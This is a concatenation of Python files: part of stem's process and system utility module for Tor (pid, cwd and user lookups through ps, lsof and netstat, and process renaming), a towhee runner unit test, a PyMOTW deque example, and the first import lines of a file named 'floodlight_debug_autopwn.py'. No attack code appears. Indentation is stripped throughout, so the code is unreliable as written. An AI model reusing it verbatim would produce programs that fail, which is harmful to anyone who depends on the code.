super(CallTimeoutError, self).__init__(msg, command, exit_status, runtime, stdout, stderr)
self.timeout = timeout
class DaemonTask(object):
"""
Invokes the given function in a subprocess, returning the value.
.. versionadded:: 1.6.0
:var function runner: function to be invoked by the subprocess
:var tuple args: arguments to provide to the subprocess
:var int priority: subprocess nice priority
:var stem.util.system.State status: state of the subprocess
:var float runtime: seconds subprocess took to complete
:var object result: return value of subprocess if successful
:var exception error: exception raised by subprocess if it failed
"""
def __init__(self, runner, args = None, priority = 15, start = False):
self.runner = runner
self.args = args
self.priority = priority
self.status = State.PENDING
self.runtime = None
self.result = None
self.error = None
self._process = None
self._pipe = None
if start:
self.run()
def run(self):
"""
Invokes the task if it hasn't already been started. If it has this is a
no-op.
"""
if self.status == State.PENDING:
self._pipe, child_pipe = multiprocessing.Pipe()
self._process = multiprocessing.Process(target = DaemonTask._run_wrapper, args = (child_pipe, self.priority, self.runner, self.args))
self._process.start()
self.status = State.RUNNING
def join(self):
"""
Provides the result of the daemon task. If still running this blocks until
the task is completed.
:returns: response of the function we ran
:raises: exception raised by the function if it failed with one
"""
if self.status == State.PENDING:
self.run()
if self.status == State.RUNNING:
self._process.join()
response = self._pipe.recv()
self.status = response[0]
self.runtime = response[1]
if self.status == State.DONE:
self.result = response[2]
elif self.status == State.FAILED:
self.error = response[2]
if self.status == State.DONE:
return self.result
elif self.status == State.FAILED:
raise self.error
else:
raise RuntimeError('BUG: unexpected status from daemon task, %s' % self.status)
@staticmethod
def _run_wrapper(conn, priority, runner, args):
start_time = time.time()
os.nice(priority)
try:
result = runner(*args) if args else runner()
conn.send((State.DONE, time.time() - start_time, result))
except Exception as exc:
conn.send((State.FAILED, time.time() - start_time, exc))
finally:
conn.close()
def is_windows():
"""
Checks if we are running on Windows.
:returns: **bool** to indicate if we're on Windows
"""
return platform.system() == 'Windows'
def is_mac():
"""
Checks if we are running on Mac OSX.
:returns: **bool** to indicate if we're on a Mac
"""
return platform.system() == 'Darwin'
def is_gentoo():
"""
Checks if we're running on Gentoo.
:returns: **bool** to indicate if we're on Gentoo
"""
return os.path.exists('/etc/gentoo-release')
def is_slackware():
"""
Checks if we are running on a Slackware system.
:returns: **bool** to indicate if we're on a Slackware system
"""
return os.path.exists('/etc/slackware-version')
def is_bsd():
"""
Checks if we are within the BSD family of operating systems. This currently
recognizes Macs, FreeBSD, and OpenBSD but may be expanded later.
:returns: **bool** to indicate if we're on a BSD OS
"""
return platform.system() in ('Darwin', 'FreeBSD', 'OpenBSD', 'NetBSD')
def is_available(command, cached=True):
"""
Checks the current PATH to see if a command is available or not. If more
than one command is present (for instance "ls -a | grep foo") then this
just checks the first.
Note that shell (like cd and ulimit) aren't in the PATH so this lookup will
try to assume that it's available. This only happends for recognized shell
commands (those in SHELL_COMMANDS).
:param str command: command to search for
:param bool cached: makes use of available cached results if **True**
:returns: **True** if an executable we can use by that name exists in the
PATH, **False** otherwise
"""
if ' ' in command:
command = command.split(' ')[0]
if command in SHELL_COMMANDS:
return True # we can't actually look it up, so hope the shell really provides it...
elif cached and command in CMD_AVAILABLE_CACHE:
return CMD_AVAILABLE_CACHE[command]
elif 'PATH' not in os.environ:
return False # lacking a path will cause find_executable() to internally fail
cmd_exists = False
for path in os.environ['PATH'].split(os.pathsep):
cmd_path = os.path.join(path, command)
if is_windows():
cmd_path += '.exe'
if os.path.exists(cmd_path) and os.access(cmd_path, os.X_OK):
cmd_exists = True
break
CMD_AVAILABLE_CACHE[command] = cmd_exists
return cmd_exists
def is_running(command):
"""
Checks for if a process with a given name or pid is running.
.. versionchanged:: 1.6.0
Added support for list and pid arguments.
:param str,list,int command: process name if a str, multiple process names if
a list, or pid if an int to be checked
:returns: **True** if the process is running, **False** if it's not among ps
results, and **None** if ps can't be queried
"""
if isinstance(command, int):
try:
os.kill(command, 0)
return True
except OSError:
return False
# Linux and the BSD families have different variants of ps. Guess based on
# the is_bsd() check which to try first, then fall back to the other.
#
# Linux
# -A - Select all processes.
# -co command - Shows just the base command.
#
# Mac / BSD
# -a - Display information about other users' processes as well as
# our own.
# -o ucomm= - Shows just the ucomm attribute ("name to be used for
# accounting")
if is_available('ps'):
if is_bsd():
primary_resolver = IS_RUNNING_PS_BSD
secondary_resolver = IS_RUNNING_PS_LINUX
else:
primary_resolver = IS_RUNNING_PS_LINUX
secondary_resolver = IS_RUNNING_PS_BSD
command_listing = call(primary_resolver, None)
if not command_listing:
command_listing = call(secondary_resolver, None)
if command_listing:
command_listing = [c.strip() for c in command_listing]
if stem.util._is_str(command):
command = [command]
for cmd in command:
if cmd in command_listing:
return True
return False
return None
def size_of(obj, exclude = None):
"""
Provides the `approximate memory usage of an object
<https://code.activestate.com/recipes/577504/>`_. This can recurse tuples,
lists, deques, dicts, and sets. To teach this function to inspect additional
object types expand SIZE_RECURSES...
::
stem.util.system.SIZE_RECURSES[SomeClass] = SomeClass.get_elements
.. versionadded:: 1.6.0
:param object obj: object to provide the size of
:param set exclude: object ids to exclude from size estimation
:returns: **int** with the size of the object in bytes
:raises: **NotImplementedError** if using PyPy
"""
if stem.prereq.is_pypy():
raise NotImplementedError('PyPy does not implement sys.getsizeof()')
if exclude is None:
exclude = set()
elif id(obj) in exclude:
return 0
try:
size = sys.getsizeof(obj)
except TypeError:
size = sys.getsizeof(0) # estimate if object lacks a __sizeof__
exclude.add(id(obj))
if type(obj) in SIZE_RECURSES:
for entry in SIZE_RECURSES[type(obj)](obj):
size += size_of(entry, exclude)
return size
def name_by_pid(pid):
"""
Attempts to determine the name a given process is running under (not
including arguments). This uses...
::
1. Information from /proc
2. ps -p <pid> -o command
:param int pid: process id of the process to be queried
:returns: **str** with the process name, **None** if it can't be determined
"""
process_name = None
if stem.util.proc.is_available():
try:
process_name = stem.util.proc.stats(pid, stem.util.proc.Stat.COMMAND)[0]
except IOError:
pass
# attempts to resolve using ps, failing if:
# - system's ps variant doesn't handle these flags (none known at the moment)
#
# example output:
# atagar@morrigan:~$ ps -p 5767 -o comm
# COMMAND
# vim
if not process_name:
try:
results = call(GET_NAME_BY_PID_PS % pid)
except OSError:
results = None
if results and len(results) == 2 and results[0] == 'COMMAND':
process_name = results[1].strip()
return process_name
def pid_by_name(process_name, multiple = False):
"""
Attempts to determine the process id for a running process, using...
::
1. pgrep -x <name>
2. pidof <name>
3. ps -o pid -C <name> (linux)
ps axc | egrep " <name>$" (bsd)
4. lsof -tc <name>
5. tasklist | str <name>.exe
:param str process_name: process name for which to fetch the pid
:param bool multiple: provides a list of all pids if **True**, otherwise
results with multiple processes are discarded
:returns:
Response depends upon the 'multiple' argument as follows...
* if **False** then this provides an **int** with the process id or **None** if it can't be determined
* if **True** then this provides a **list** of all **int** process ids, and an empty list if it can't be determined
"""
# attempts to resolve using pgrep, failing if:
# - we're running on bsd (command unavailable)
#
# example output:
# atagar@morrigan:~$ pgrep -x vim
# 3283
# 3392
if is_available('pgrep'):
results = call(GET_PID_BY_NAME_PGREP % process_name, None)
if results:
try:
pids = list(map(int, results))
if multiple:
return pids
elif len(pids) == 1:
return pids[0]
except ValueError:
pass
# attempts to resolve using pidof, failing if:
# - we're running on bsd (command unavailable)
#
# example output:
# atagar@morrigan:~$ pidof vim
# 3392 3283
if is_available('pidof'):
results = call(GET_PID_BY_NAME_PIDOF % process_name, None)
if results and len(results) == 1:
try:
pids = list(map(int, results[0].split()))
if multiple:
return pids
elif len(pids) == 1:
return pids[0]
except ValueError:
pass
# attempts to resolve using ps, failing if:
# - system's ps variant doesn't handle these flags (none known at the moment)
#
# example output:
# atagar@morrigan:~/Desktop/stem$ ps -o pid -C vim
# PID
# 3283
# 3392
#
# atagar$ ps axc
# PID TT STAT TIME COMMAND
# 1 ?? Ss 9:00.22 launchd
# 10 ?? Ss 0:09.97 kextd
# 11 ?? Ss 5:47.36 DirectoryService
# 12 ?? Ss 3:01.44 notifyd
if is_available('ps'):
if not is_bsd():
# linux variant of ps
results = call(GET_PID_BY_NAME_PS_LINUX % process_name, None)
if results:
try:
pids = list(map(int, results[1:]))
if multiple:
return pids
elif len(pids) == 1:
return pids[0]
except ValueError:
pass
if is_bsd():
# bsd variant of ps
results = call(GET_PID_BY_NAME_PS_BSD, None)
if results:
# filters results to those with our process name
results = [r.split()[0] for r in results if r.endswith(' %s' % process_name)]
try:
pids = list(map(int, results))
if multiple:
return pids
elif len(pids) == 1:
return pids[0]
except ValueError:
pass
# resolves using lsof which works on both Linux and BSD, only failing if:
# - lsof is unavailable (not included by default on OpenBSD)
# - the process being run as a different user due to permissions
# - the process doesn't have any open files to be reported by lsof?
#
# flags:
# t - only show pids
# c - restrict results to that command
#
# example output:
# atagar@morrigan:~$ lsof -t -c vim
# 2470
# 2561
if is_available('lsof'):
results = call(GET_PID_BY_NAME_LSOF % process_name, None)
if results:
try:
pids = list(map(int, results))
if multiple:
return pids
elif len(pids) == 1:
return pids[0]
except ValueError:
pass
if is_available('tasklist') and is_windows():
if not process_name.endswith('.exe'):
process_name = process_name + '.exe'
process_ids = []
results = stem.util.system.call('tasklist', None)
if results:
tasklist_regex = re.compile('^\\s*%s\\s+(?P<pid>[0-9]*)' % process_name)
for line in results:
match = tasklist_regex.search(line)
if match:
process_ids.append(int(match.group('pid')))
if multiple:
return process_ids
elif len(process_ids) > 0:
return process_ids[0]
log.debug("failed to resolve a pid for '%s'" % process_name)
return [] if multiple else None
def pid_by_port(port):
"""
Attempts to determine the process id for a process with the given port,
using...
::
1. netstat -npltu | grep 127.0.0.1:<port>
2. sockstat -4l -P tcp -p <port>
3. lsof -wnP -iTCP -sTCP:LISTEN | grep ":<port>"
Most queries limit results to listening TCP connections. This function likely
won't work on Mac OSX.
:param int port: port where the process we're looking for is listening
:returns: **int** with the process id, **None** if it can't be determined
"""
# attempts to resolve using netstat, failing if:
# - netstat doesn't accept these flags (Linux only)
# - the process being run as a different user due to permissions
#
# flags:
# n - numeric (disables hostname lookups)
# p - program (include pids)
# l - listening (include listening sockets)
# tu - show tcp and udp sockets, and nothing else
#
# example output:
# atagar@morrigan:~$ netstat -npltu
# Active Internet connections (only servers)
# Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
# tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
# tcp 0 0 127.0.0.1:9051 0.0.0.0:* LISTEN 1641/tor
# tcp6 0 0 ::1:631 :::* LISTEN -
# udp 0 0 0.0.0.0:5353 0.0.0.0:* -
# udp6 0 0 fe80::7ae4:ff:fe2f::123 :::* -
if is_available('netstat'):
results = call(GET_PID_BY_PORT_NETSTAT, None)
if results:
# filters to results with our port
results = [r for r in results if '127.0.0.1:%s' % port in r]
if len(results) == 1 and len(results[0].split()) == 7:
results = results[0].split()[6] # process field (ex. "7184/tor")
pid = results[:results.find('/')]
if pid.isdigit():
return int(pid)
# attempts to resolve using sockstat, failing if:
# - sockstat doesn't accept the -4 flag (BSD only)
# - sockstat isn't available (encountered with OSX 10.5.8)
# - there are multiple instances using the same port on different addresses
#
# flags:
# 4 - only show IPv4 sockets
# l - listening sockets
# P tcp - only show tcp connections
# p - only includes results if the local or foreign port match this
#
# example output:
# # sockstat -4 | grep tor
# _tor tor 4397 7 tcp4 51.64.7.84:9050 *:*
# _tor tor 4397 8 udp4 51.64.7.84:53 *:*
# _tor tor 4397 12 tcp4 51.64.7.84:54011 80.3.121.7:9001
# _tor tor 4397 15 tcp4 51.64.7.84:59374 7.42.1.102:9001
# _tor tor 4397 20 tcp4 51.64.7.84:51946 32.83.7.104:443
if is_available('sockstat'):
results = call(GET_PID_BY_PORT_SOCKSTAT % port, None)
if results:
# filters to results where this is the local port
results = [r for r in results if (len(r.split()) == 7 and (':%s' % port) in r.split()[5])]
if len(results) == 1:
pid = results[0].split()[2]
if pid.isdigit():
return int(pid)
# resolves using lsof which works on both Linux and BSD, only failing if:
# - lsof is unavailable (not included by default on OpenBSD)
# - lsof doesn't provide the port ip/port, nor accept the -i and -s args
# (encountered with OSX 10.5.8)
# - the process being run as a different user due to permissions
# - there are multiple instances using the same port on different addresses
#
# flags:
# w - disables warning messages
# n - numeric addresses (disables hostname lookups)
# P - numeric ports (disables replacement of ports with their protocol)
# iTCP - only show tcp connections
# sTCP:LISTEN - listening sockets
#
# example output:
# atagar@morrigan:~$ lsof -wnP -iTCP -sTCP:LISTEN
# COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
# tor 1745 atagar 6u IPv4 14229 0t0 TCP 127.0.0.1:9051 (LISTEN)
if is_available('lsof'):
results = call(GET_PID_BY_PORT_LSOF, None)
if results:
# filters to results with our port
results = [r for r in results if (len(r.split()) == 10 and (':%s' % port) in r.split()[8])]
if len(results) == 1:
pid = results[0].split()[1]
if pid.isdigit():
return int(pid)
return None # all queries failed
def pid_by_open_file(path):
"""
Attempts to determine the process id for a process with the given open file,
using...
::
lsof -w <path>
:param str path: location of the socket file to query against
:returns: **int** with the process id, **None** if it can't be determined
"""
# resolves using lsof which works on both Linux and BSD, only failing if:
# - lsof is unavailable (not included by default on OpenBSD)
# - the file can't be read due to permissions
#
# flags:
# t - only show pids
# w - disables warning messages
#
# example output:
# atagar@morrigan:~$ lsof -tw /tmp/foo
# 4762
if is_available('lsof'):
results = call(GET_PID_BY_FILE_LSOF % path, [])
if len(results) == 1:
pid = results[0].strip()
if pid.isdigit():
return int(pid)
return None # all queries failed
def pids_by_user(user):
"""
Provides processes owned by a given user.
.. versionadded:: 1.5.0
:param str user: user to look up processes for
:returns: **list** with the process ids, **None** if it can't be determined
"""
# example output:
# atagar@odin:~$ ps -o pid -u avahi
# PID
# 914
# 915
if is_available('ps'):
if is_bsd():
results = call(GET_PIDS_BY_USER_BSD % user, None)
else:
results = call(GET_PIDS_BY_USER_LINUX % user, None)
if results:
try:
return list(map(int, results[1:]))
except ValueError:
pass
return None
def cwd(pid):
"""
Provides the working directory of the given process.
:param int pid: process id of the process to be queried
:returns: **str** with the absolute path for the process' present working
directory, **None** if it can't be determined
"""
# try fetching via the proc contents if it's available
if stem.util.proc.is_available():
try:
return stem.util.proc.cwd(pid)
except IOError:
pass
# Fall back to a pwdx query. This isn't available on BSD.
logging_prefix = 'cwd(%s):' % pid
if is_available('pwdx'):
# pwdx results are of the form:
# 3799: /home/atagar
# 5839: No such process
results = call(GET_CWD_PWDX % pid, None)
if not results:
log.debug("%s pwdx didn't return any results" % logging_prefix)
elif results[0].endswith('No such process'):
log.debug('%s pwdx processes reported for this pid' % logging_prefix)
elif len(results) != 1 or results[0].count(' ') != 1 or not results[0].startswith('%s: ' % pid):
log.debug('%s we got unexpected output from pwdx: %s' % (logging_prefix, results))
else:
return results[0].split(' ', 1)[1].strip()
# Use lsof as the final fallback. This is available on both Linux and is the
# only lookup method here that works for BSD...
# https://trac.torproject.org/projects/tor/ticket/4236
#
# flags:
# a - presents the intersection of the following arguments
# p - limits results to this pid
# d cwd - limits results to just the cwd rather than all open files
# Fn - short listing in a single column, with just the pid and cwd
#
# example output:
# ~$ lsof -a -p 75717 -d cwd -Fn
# p75717
# n/Users/atagar/tor/src/or
if is_available('lsof'):
results = call(GET_CWD_LSOF % pid, [])
if len(results) >= 2 and results[-1].startswith('n/'):
lsof_result = results[-1][1:].strip()
# If we lack read permissions for the cwd then it returns...
# p2683
# n/proc/2683/cwd (readlink: Permission denied)
if ' ' not in lsof_result:
return lsof_result
else:
log.debug('%s we got unexpected output from lsof: %s' % (logging_prefix, results))
return None # all queries failed
def user(pid):
"""
Provides the user a process is running under.
:param int pid: process id of the process to be queried
:returns: **str** with the username a process is running under, **None** if
it can't be determined
"""
if not isinstance(pid, int) or pid < 0:
return None
if stem.util.proc.is_available():
try:
import pwd # only available on unix platforms
uid = stem.util.proc.uid(pid)
if uid and uid.isdigit():
return pwd.getpwuid(int(uid)).pw_name
except:
pass
if is_available('ps'):
results = call('ps -o user %s' % pid, [])
if len(results) >= 2:
return results[1].strip()
return None
def start_time(pid):
"""
Provides the unix timestamp when the given process started.
:param int pid: process id of the process to be queried
:returns: **float** for the unix timestamp when the process began, **None**
if it can't be determined
"""
if not isinstance(pid, int) or pid < 0:
return None
if stem.util.proc.is_available():
try:
return float(stem.util.proc.stats(pid, stem.util.proc.Stat.START_TIME)[0])
except IOError:
pass
try:
ps_results = call('ps -p %s -o etime' % pid, [])
if len(ps_results) >= 2:
etime = ps_results[1].strip()
return time.time() - stem.util.str_tools.parse_short_time_label(etime)
except:
pass
return None
def tail(target, lines = None):
"""
Provides lines of a file starting with the end. For instance,
'tail -n 50 /tmp/my_log' could be done with...
::
reversed(list(tail('/tmp/my_log', 50)))
:param str,file target: path or file object to read from
:param int lines: number of lines to read
:returns: **generator** that reads lines, starting with the end
:raises: **IOError** if unable to read the file
"""
if isinstance(target, str):
with open(target, 'rb') as target_file:
for line in tail(target_file, lines):
yield line
return
# based on snippet from...
# https://stackoverflow.com/questions/136168/get-last-n-lines-of-a-file-with-python-similar-to-tail
target.seek(0, 2) # go to the end of the file
block_end_byte = target.tell()
block_number = -1
content = b''
while (lines is None or lines > 0) and block_end_byte > 0:
if (block_end_byte - BLOCK_SIZE > 0):
# read the last block we haven't yet read
target.seek(block_number * BLOCK_SIZE, 2)
content, completed_lines = (target.read(BLOCK_SIZE) + content).split(b'\n', 1)
else:
# reached the start of the file, just read what's left
target.seek(0, 0)
completed_lines = target.read(block_end_byte) + content
for line in reversed(completed_lines.splitlines()):
if lines is None or lines > 0:
if lines is not None:
lines -= 1
yield stem.util.str_tools._to_unicode(line)
block_end_byte -= BLOCK_SIZE
block_number -= 1
def bsd_jail_id(pid):
"""
Gets the jail id for a process. These seem to only exist for FreeBSD (this
style for jails does not exist on Linux, OSX, or OpenBSD).
:param int pid: process id of the jail id to be queried
:returns: **int** for the jail id, zero if this can't be determined
"""
# Output when called from a FreeBSD jail or when Tor isn't jailed:
# JID
# 0
#
# Otherwise it's something like:
# JID
# 1
ps_output = call(GET_BSD_JAIL_ID_PS % pid, [])
if len(ps_output) == 2 and len(ps_output[1].split()) == 1:
jid = ps_output[1].strip()
if jid.isdigit():
return int(jid)
os_name = platform.system()
if os_name == 'FreeBSD':
log.warn('Unable to get the jail id for process %s.' % pid)
else:
log.debug('bsd_jail_id(%s): jail ids do not exist on %s' % (pid, os_name))
return 0
def bsd_jail_path(jid):
"""
Provides the path of the given FreeBSD jail.
:param int jid: jail id to be queried
:returns: **str** of the path prefix, **None** if this can't be determined
"""
if jid != 0:
# Output should be something like:
# JID IP Address Hostname Path
# 1 10.0.0.2 tor-jail /usr/jails/tor-jail
jls_output = call(GET_BSD_JAIL_PATH % jid, [])
if len(jls_output) == 2 and len(jls_output[1].split()) == 4:
return jls_output[1].split()[3]
return None
def is_tarfile(path):
"""
Returns if the path belongs to a tarfile or not.
.. versionadded:: 1.2.0
:param str path: path to be checked
:returns: **True** if the path belongs to a tarball, **False** otherwise
"""
# Checking if it's a tar file may fail due to permissions so failing back
# to the mime type...
#
# IOError: [Errno 13] Permission denied: '/vmlinuz.old'
#
# With python 3 insuffient permissions raises an AttributeError instead...
#
# http://bugs.python.org/issue17059
try:
return tarfile.is_tarfile(path)
except (IOError, AttributeError):
return mimetypes.guess_type(path)[0] == 'application/x-tar'
def expand_path(path, cwd = None):
"""
Provides an absolute path, expanding tildes with the user's home and
appending a current working directory if the path was relative.
:param str path: path to be expanded
:param str cwd: current working directory to expand relative paths with, our
process' if this is **None**
:returns: **str** of the path expanded to be an absolute path, never with an
ending slash
"""
if is_windows():
relative_path = path.replace('/', '\\').rstrip('\\')
else:
relative_path = path.rstrip('/')
if not relative_path or os.path.isabs(relative_path):
# empty or already absolute - nothing to do
pass
elif relative_path.startswith('~'):
# prefixed with a ~ or ~user entry
relative_path = os.path.expanduser(relative_path)
else:
# relative path, expand with the cwd
if not cwd:
cwd = os.getcwd()
# we'll be dealing with both "my/path/" and "./my/path" entries, so
# cropping the later
if relative_path.startswith('./') or relative_path.startswith('.\\'):
relative_path = relative_path[2:]
elif relative_path == '.':
relative_path = ''
if relative_path == '':
relative_path = cwd
else:
relative_path = os.path.join(cwd, relative_path)
return relative_path
def files_with_suffix(base_path, suffix):
"""
Iterates over files in a given directory, providing filenames with a certain
suffix.
.. versionadded:: 1.2.0
:param str base_path: directory to be iterated over
:param str suffix: filename suffix to look for
:returns: iterator that yields the absolute path for files with the given suffix
"""
if os.path.isfile(base_path):
if base_path.endswith(suffix):
yield base_path
else:
for root, _, files in os.walk(base_path):
for filename in files:
if filename.endswith(suffix):
yield os.path.join(root, filename)
def call(command, default = UNDEFINED, ignore_exit_status = False, timeout = None, cwd = None, env = None):
"""
call(command, default = UNDEFINED, ignore_exit_status = False)
Issues a command in a subprocess, blocking until completion and returning the
results. This is not actually ran in a shell so pipes and other shell syntax
are not permitted.
.. versionchanged:: 1.5.0
Providing additional information upon failure by raising a CallError. This
is a subclass of OSError, providing backward compatibility.
.. versionchanged:: 1.5.0
Added env argument.
.. versionchanged:: 1.6.0
Added timeout and cwd arguments.
:param str,list command: command to be issued
:param object default: response if the query fails
:param bool ignore_exit_status: reports failure if our command's exit status
was non-zero
:param float timeout: maximum seconds to wait, blocks indefinitely if
**None**
:param dict env: environment variables
:returns: **list** with the lines of output from the command
:raises:
* **CallError** if this fails and no default was provided
* **CallTimeoutError** if the timeout is reached without a default
"""
# TODO: in stem 2.x return a struct with stdout, stderr, and runtime instead
global SYSTEM_CALL_TIME
if isinstance(command, str):
command_list = command.split(' ')
else:
command_list = list(map(str, command))
exit_status, runtime, stdout, stderr = None, None, None, None
start_time = time.time()
try:
is_shell_command = command_list[0] in SHELL_COMMANDS
process = subprocess.Popen(command_list, stdout = subprocess.PIPE, stderr = subprocess.PIPE, shell = is_shell_command, cwd = cwd, env = env)
if timeout:
while process.poll() is None:
if time.time() - start_time > timeout:
raise CallTimeoutError("Process didn't finish after %0.1f seconds" % timeout, ' '.join(command_list), None, timeout, '', '', timeout)
time.sleep(0.001)
stdout, stderr = process.communicate()
stdout, stderr = stdout.strip(), stderr.strip()
runtime = time.time() - start_time
log.debug('System call: %s (runtime: %0.2f)' % (command, runtime))
if log.is_tracing():
trace_prefix = 'Received from system (%s)' % command
if stdout and stderr:
log.trace(trace_prefix + ', stdout:\n%s\nstderr:\n%s' % (stdout, stderr))
elif stdout:
log.trace(trace_prefix + ', stdout:\n%s' % stdout)
elif stderr:
log.trace(trace_prefix + ', stderr:\n%s' % stderr)
exit_status = process.poll()
if not ignore_exit_status and exit_status != 0:
raise OSError('%s returned exit status %i' % (command, exit_status))
if stdout:
return stdout.decode('utf-8', 'replace').splitlines()
else:
return []
except CallTimeoutError:
log.debug('System call (timeout): %s (after %0.4fs)' % (command, timeout))
if default != UNDEFINED:
return default
else:
raise
except OSError as exc:
log.debug('System call (failed): %s (error: %s)' % (command, exc))
if default != UNDEFINED:
return default
else:
raise CallError(str(exc), ' '.join(command_list), exit_status, runtime, stdout, stderr)
finally:
with SYSTEM_CALL_TIME_LOCK:
SYSTEM_CALL_TIME += time.time() - start_time
def get_process_name():
"""
Provides the present name of our process.
:returns: **str** with the present name of our process
"""
global _PROCESS_NAME, _MAX_NAME_LENGTH
if _PROCESS_NAME is None:
# Example output...
#
# COMMAND
# python run_tests.py --unit
ps_output = call('ps -p %i -o args' % os.getpid(), [])
if len(ps_output) == 2 and ps_output[0] in ('COMMAND', 'ARGS'):
_PROCESS_NAME = ps_output[1]
else:
# Falling back on using ctypes to get our argv. Unfortunately the simple
# method for getting this...
#
# ' '.join(['python'] + sys.argv)
#
# ... doesn't do the trick since this will miss interpreter arguments.
#
# python -W ignore::DeprecationWarning my_script.py
args, argc = [], argc_t()
for i in range(100):
# The ending index can be either None or raise a ValueError when
# accessed...
#
# ValueError: NULL pointer access
try:
if argc[i] is None:
break
except ValueError:
break
args.append(str(argc[i]))
_PROCESS_NAME = ' '.join(args)
_MAX_NAME_LENGTH = len(_PROCESS_NAME)
return _PROCESS_NAME
def set_process_name(process_name):
"""
Renames our current process from "python <args>" to a custom name. This is
best-effort, not necessarily working on all platforms.
:param str process_name: new name for our process
:raises: **IOError** if the process cannot be renamed
"""
# This is mostly based on...
#
# http://www.rhinocerus.net/forum/lang-python/569677-setting-program-name-like-0-perl.html#post2272369
#
# ... and an adaptation by Jake...
#
# https://github.com/ioerror/chameleon
#
# A cleaner implementation is available at...
#
# https://github.com/cream/libs/blob/b38970e2a6f6d2620724c828808235be0445b799/cream/util/procname.py
#
# but I'm not quite clear on their implementation, and it only does targeted
# argument replacement (ie, replace argv[0], argv[1], etc but with a string
# the same size).
_set_argv(process_name)
if platform.system() == 'Linux':
_set_prctl_name(process_name)
elif platform.system() in ('Darwin', 'FreeBSD', 'OpenBSD'):
_set_proc_title(process_name)
def _set_argv(process_name):
"""
Overwrites our argv in a similar fashion to how it's done in C with:
strcpy(argv[0], 'new_name');
"""
if Py_GetArgcArgv is None:
return
global _PROCESS_NAME
# both gets the current process name and initializes _MAX_NAME_LENGTH
current_name = get_process_name()
argv, argc = ctypes.c_int(0), argc_t()
Py_GetArgcArgv(argv, ctypes.pointer(argc))
if len(process_name) > _MAX_NAME_LENGTH:
raise IOError("Can't rename process to something longer than our initial name (this would overwrite memory used for the env)")
# space we need to clear
zero_size = max(len(current_name), len(process_name))
ctypes.memset(argc.contents, 0, zero_size + 1) # null terminate the string's end
process_name_encoded = process_name.encode('utf8')
ctypes.memmove(argc.contents, process_name_encoded, len(process_name))
_PROCESS_NAME = process_name
def _set_prctl_name(process_name):
"""
Sets the prctl name, which is used by top and killall. This appears to be
Linux specific and has the max of 15 characters.
This is from...
http://stackoverflow.com/questions/564695/is-there-a-way-to-change-effective-process-name-in-python/923034#923034
"""
libc = ctypes.CDLL(ctypes.util.find_library('c'))
name_buffer = ctypes.create_string_buffer(len(process_name) + 1)
name_buffer.value = stem.util.str_tools._to_bytes(process_name)
libc.prctl(PR_SET_NAME, ctypes.byref(name_buffer), 0, 0, 0)
def _set_proc_title(process_name):
"""
BSD specific calls (should be compataible with both FreeBSD and OpenBSD:
http://fxr.watson.org/fxr/source/gen/setproctitle.c?v=FREEBSD-LIBC
http://www.rootr.net/man/man/setproctitle/3
"""
libc = ctypes.CDLL(ctypes.util.find_library('c'))
name_buffer = ctypes.create_string_buffer(len(process_name) + 1)
name_buffer.value = process_name.encode()
try:
libc.setproctitle(ctypes.byref(name_buffer))
except AttributeError:
# Possible issue (seen on OSX):
# AttributeError: dlsym(0x7fff6a41d1e0, setproctitle): symbol not found
pass
# TODO: drop with stem 2.x
# We renamed our methods to drop a redundant 'get_*' prefix, so alias the old
# names for backward compatability.
get_name_by_pid = name_by_pid
get_pid_by_name = pid_by_name
get_pid_by_port = pid_by_port
get_pid_by_open_file = pid_by_open_file
get_cwd = cwd
get_user = user
get_start_time = start_time
get_bsd_jail_id = bsd_jail_id
get_bsd_jail_path = bsd_jail_path
|
test_generator_runner.py | # Copyright 2021 Zilliz. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from typing import Dict
import threading
from queue import Queue
from towhee.engine.operator_runner.runner_base import RunnerStatus
from towhee.engine.operator_runner.generator_runner import GeneratorRunner
from tests.unittests.mock_operators.generator_operator import generator_operator
DATA_QUEUE = Queue()
class StopFrame:
pass
class MockReader:
def __init__(self, queue: Queue):
self._queue = queue
def read(self):
data = self._queue.get()
if not isinstance(data, StopFrame):
return data
else:
raise StopIteration()
class MockWriter:
def __init__(self):
self.res = []
def write(self, data: Dict):
self.res.append(data)
def run(runner):
runner.process()
class TestGeneratorRunner(unittest.TestCase):
"""
GeneratorRunner test
"""
def test_map_runner(self):
data_queue = Queue()
writer = MockWriter()
runner = GeneratorRunner('test', 0, 'generator_operator', 'main', 'mock_operators', {}, [MockReader(data_queue)], writer)
runner.set_op(generator_operator.GeneratorOperator())
t = threading.Thread(target=run, args=(runner, ))
t.start()
self.assertEqual(runner.status, RunnerStatus.RUNNING)
data_queue.put({'num': 10})
data_queue.put(None)
t.join()
res = 0
for item in writer.res:
self.assertEqual(item[0], res)
res += 1
self.assertEqual(len(writer.res), 10)
self.assertEqual(runner.status, RunnerStatus.IDLE)
t = threading.Thread(target=run, args=(runner, ))
t.start()
self.assertEqual(runner.status, RunnerStatus.RUNNING)
data_queue.put({'num': 4})
data_queue.put({'num': 5})
data_queue.put(StopFrame())
runner.join()
self.assertEqual(len(writer.res), 19)
self.assertEqual(runner.status, RunnerStatus.FINISHED)
def test_generator_runner_with_error(self):
data_queue = Queue()
writer = MockWriter()
runner = GeneratorRunner('test', 0, 'generator_operator', 'main', 'mock_operators', {}, [MockReader(data_queue)], writer)
runner.set_op(generator_operator.GeneratorOperator())
t = threading.Thread(target=run, args=(runner, ))
t.start()
data_queue.put('error_data')
runner.join()
self.assertEqual(runner.status, RunnerStatus.FAILED)
|
collections_deque_both_ends.py | #!/usr/bin/env python
# encoding: utf-8
#
# Copyright (c) 2008 Doug Hellmann All rights reserved.
#
"""Burning a candle at both ends.
"""
__version__ = "$Id$"
#end_pymotw_header
import collections
import threading
import time
candle = collections.deque(xrange(5))
def burn(direction, nextSource):
while True:
try:
next = nextSource()
except IndexError:
break
else:
print '%8s: %s' % (direction, next)
time.sleep(0.1)
print '%8s done' % direction
return
left = threading.Thread(target=burn, args=('Left', candle.popleft))
right = threading.Thread(target=burn, args=('Right', candle.pop))
left.start()
right.start()
left.join()
right.join()
|
floodlight_debug_autopwn.py |
import signal
import socket
from threading import Thread
